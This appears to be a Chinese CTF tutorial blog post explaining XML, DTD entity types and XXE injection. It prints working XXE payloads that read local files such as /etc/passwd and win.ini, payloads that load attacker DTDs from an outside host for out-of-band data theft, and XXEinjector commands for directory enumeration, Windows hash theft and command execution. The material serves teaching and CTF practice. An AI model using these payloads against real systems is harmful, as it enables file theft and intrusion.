认识XML
定义
XML即 可扩展标记语言(EXtensible Markup Language),是一种标记语言,其标签没有预定义,您需要自行定义标签,是W3C的推荐标准。
与HTML的区别
HTML 被设计用来显示数据
XML 被设计用来传输和存储数据
基本格式
1 2 3 4 5 6 7 8 9 10 11 12
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>
|
DTD
DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。
1、内部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。
2、外部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。
内部实体
1 2 3 4 5 6 7
| <!DOCTYPE note [ <!ENTITY a "admin"> ]> <note>&a</note> #admin
#<!ENTITY 实体名称 "实体的值">
|
外部实体
1 2 3 4 5 6 7
| <!DOCTYPE note> [ <!ENTITY c SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php"> ]> <note>&c</note> #flag{test}
#<!ENTITY 实体名称 SYSTEM "URI">
|
参数实体
1 2 3 4 5 6 7 8 9 10
| <!DOCTYPE note> [ <!ENTITY % b "<!ENTITY b1 "awsl">"> %b; ]> <note>&b1</note> #awsl
#<!ENTITY % 实体名称 "实体的值"> #<!ENTITY % 实体名称 SYSTEM "URI">
|
参数实体用% name声明,引用时用%name;,只能在DTD中声明,DTD中引用。
其余实体直接用name声明,引用时用&name;,只能在DTD中声明,可在xml文档中引用
外部参数实体
1 2 3 4 5 6 7 8 9 10 11
| <!DOCTYPE note> [ <!ENTITY % d SYSTEM "http://47.106.143.26/xml.dtd"> %d; ]> <note>&d1</note> #
<!ENTITY d1 SYSTEM "data://text/plain;base64,Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA=="> # #<?xml version="1.0" encoding="utf-8"?><!DOCTYPE a [ <!ENTITY % name SYSTEM "file:///etc/passwd"> %name;]>
|
认识XXE
定义
- XXE(XML External Entity Injection)全称为XML外部实体注入,由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load默认情况下会解析外部实体,有XXE漏洞的标志性函数为
simplexml_load_string()
。
- 一般xxe利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为Blind XXE,可以使用外带数据通道提取数据。
有回显
利用外部实体
1 2 3 4 5
| <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE foo [ <!ENTITY rabbit SYSTEM "file:///flag" > ]> <user><username>&rabbit;</username><password>123</password></user>
|
利用外部参数实体
1 2 3 4 5 6
| <?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://vps-ip/hack.dtd"> %file; ]> <test>&hhh;</test>
|
1
| <!ENTITY hhh SYSTEM 'file:///etc/passwd'>
|
无回显
考虑利用公网服务器外带出flag
XXEinjector工具
安装教程
使用方法:
- 枚举HTTPS应用程序中的/etc目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl
- 使用gopher(OOB方法)枚举/etc目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
- 二次漏洞利用:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt
- 使用HTTP带外方法和netdoc协议对文件进行爆破攻击:
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc
- 通过直接性漏洞利用方式进行资源枚举:
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
- 枚举未过滤的端口:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
- 窃取Windows哈希:
ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes
- 使用Java jar上传文件:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf
- 使用PHP expect执行系统指令:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls
- 测试XSLT注入:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt
- 记录请求信息:
ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt
xxexploiter
luisfontes19/xxexploiter: Tool to help exploit XXE vulnerabilities (github.com))
未完待续
参考:
XXE知识总结,有这篇就够了!
CTF XXE